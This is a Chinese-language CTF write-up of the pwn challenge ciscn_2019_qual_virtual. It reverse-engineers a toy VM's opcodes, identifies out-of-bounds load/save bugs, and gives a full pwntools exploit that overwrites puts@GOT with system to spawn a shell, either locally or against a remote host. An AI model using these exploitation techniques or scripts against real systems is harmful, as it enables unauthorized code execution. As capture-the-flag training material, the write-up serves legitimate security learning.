2024-12第二周:ciscn_2019_qual_virtual
每周一pwn系列
赛题地址:BUUCTF在线评测
vmpwn初探
基本信息
逆向分析
各虚拟段初始化
如图:
opcode解析部分
将我们输入的指令转为opcode
- copy
即以每8字节为单位赋值:*(segment+idx++)=a2
__int64 __fastcall copy(void **a1, __int64 a2) { int v3; // [rsp+1Ch] [rbp-4h] if ( !a1 ) return 0LL; v3 = *((_DWORD *)a1 + 3) + 1; // 0 if ( v3 == *((_DWORD *)a1 + 2) ) // if(v3==size) return 0LL; *((_QWORD *)*a1 + v3) = a2; *((_DWORD *)a1 + 3) = v3; // idx=v3 return 1LL; }
opcode执行部分
- get
即取出 opcode 并返回:*a2=*(segment+idx--)
__int64 __fastcall get(void **a1, _QWORD *a2) { if ( !a1 ) return 0LL; if ( *((_DWORD *)a1 + 3) == -1 ) return 0LL; *a2 = *((_QWORD *)*a1 + (int)(*((_DWORD *)a1 + 3))--); return 1LL; }
- push
_BOOL8 __fastcall push(void **data_addr, void **stack_addr) { __int64 a2; // [rsp+18h] [rbp-8h] BYREF return get(stack_addr, &a2) && copy(data_addr, a2); }
从stack取出数据,放到data里
pop
_BOOL8 __fastcall pop(void **data_addr, void **stack_addr) { __int64 v3; // [rsp+18h] [rbp-8h] BYREF return get(data_addr, &v3) && copy(stack_addr, v3); }
从data取出数据,放到stack里
add
__int64 __fastcall add(void **data_addr) { __int64 a2; // [rsp+10h] [rbp-10h] BYREF __int64 v3; // [rsp+18h] [rbp-8h] BYREF if ( get(data_addr, &a2) && get(data_addr, &v3) ) return copy(data_addr, v3 + a2); else return 0LL; }
从data中取两个值相加,放到data
sub
__int64 __fastcall sub(void **data_addr) { __int64 a2; // [rsp+10h] [rbp-10h] BYREF __int64 v3; // [rsp+18h] [rbp-8h] BYREF if ( get(data_addr, &a2) && get(data_addr, &v3) ) return copy(data_addr, a2 - v3); else return 0LL; }
从data中取两个值相减,放到data
mul
__int64 __fastcall mul(void **data_addr) { __int64 a2; // [rsp+10h] [rbp-10h] BYREF __int64 v3; // [rsp+18h] [rbp-8h] BYREF if ( get(data_addr, &a2) && get(data_addr, &v3) ) return copy(data_addr, v3 * a2); else return 0LL; }
从data中取两个值相乘,放到data
div
__int64 __fastcall div(void **data_addr) { __int64 a2; // [rsp+10h] [rbp-10h] BYREF __int64 v3; // [rsp+18h] [rbp-8h] BYREF if ( get(data_addr, &a2) && get(data_addr, &v3) ) return copy(data_addr, a2 / v3); else return 0LL; }
从data中取两个值相除,放到data
load
__int64 __fastcall load(void **data_addr) { __int64 a2; // [rsp+10h] [rbp-10h] BYREF if ( (unsigned int)get(data_addr, &a2) ) return copy(data_addr, *((_QWORD *)*data_addr + *((int *)data_addr + 3) + a2)); //copy(data_addr,*(data+idx+a2)) else return 0LL; }
从data里取出一个值a2作为下标,并将该下标对应的值放入data中
save
__int64 __fastcall save(void **data_addr) { __int64 v2; // [rsp+10h] [rbp-10h] BYREF __int64 v3; // [rsp+18h] [rbp-8h] BYREF if ( !get(data_addr, &v2) || !get(data_addr, &v3) ) return 0LL; *(*data_addr + *(data_addr + 3) + v2) = v3; //*(data+idx+v2)=v3 return 1LL; }
从data里取出值v2作为下标和v3作为值,将v3赋值给v2下标对应的值
漏洞利用
通过上面的分析,我们找到了两个漏洞,对堆的任意地址的读写漏洞。但是不好泄露地址怎么办,其实不需要泄露
,利用好给出的加减指令
劫持 data 到一块空内存
劫持到bss上。
因为idx=-1,所以偏移要加回去push push save 0x404650 -4+1
把 puts 真实地址读到该内存区域
算一下 puts_got 和劫持完成之后的 data 的偏移为 0xe0push load -1c+1
获取 system 真实地址
计算 system 和 puts 的偏移,放到 data 上push add -0x2a300
把 data 里的 system 地址赋值给 puts_got
push save -1c+1
EXP
save:
def pwn():
sla('Your program name:','aaaa')
instruction = 'push push save'
sla('Your instruction:',instruction)
#dbg('b *0x0000000000401D98\n')
stack=str(0xdeadbeef) + ' ' + str(0)
sla('Your stack data:',stack)
#dbg('')
itr()
load:
def pwn():
sla('Your program name:','aaaa')
instruction = 'push load'
sla('Your instruction:',instruction)
#dbg('b *0x00000000004014A0\n')
stack=str(1)
sla('Your stack data:',stack)
#dbg('')
itr()
EXP
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
sla('Your program name:','/bin/sh')
instruction = 'push push save push load push add push save'
sla('Your instruction:',instruction)
#dbg('b *0x0000000000401D98\n')
dbg('b *0x00000000004014A0\n')
puts_got=eg('puts')
stack=str(0x404100) + ' ' + str(-3) + ' '
stack+=str(-0x1c+1) + ' '
stack+=str(-0x2a300) + ' '
stack+=str(-0x1c+1)
sla('Your stack data:',stack)
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
#context.terminal=["tmux","splitw","-h","-l 150"]
binary='./ciscn_2019_qual_virtual'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()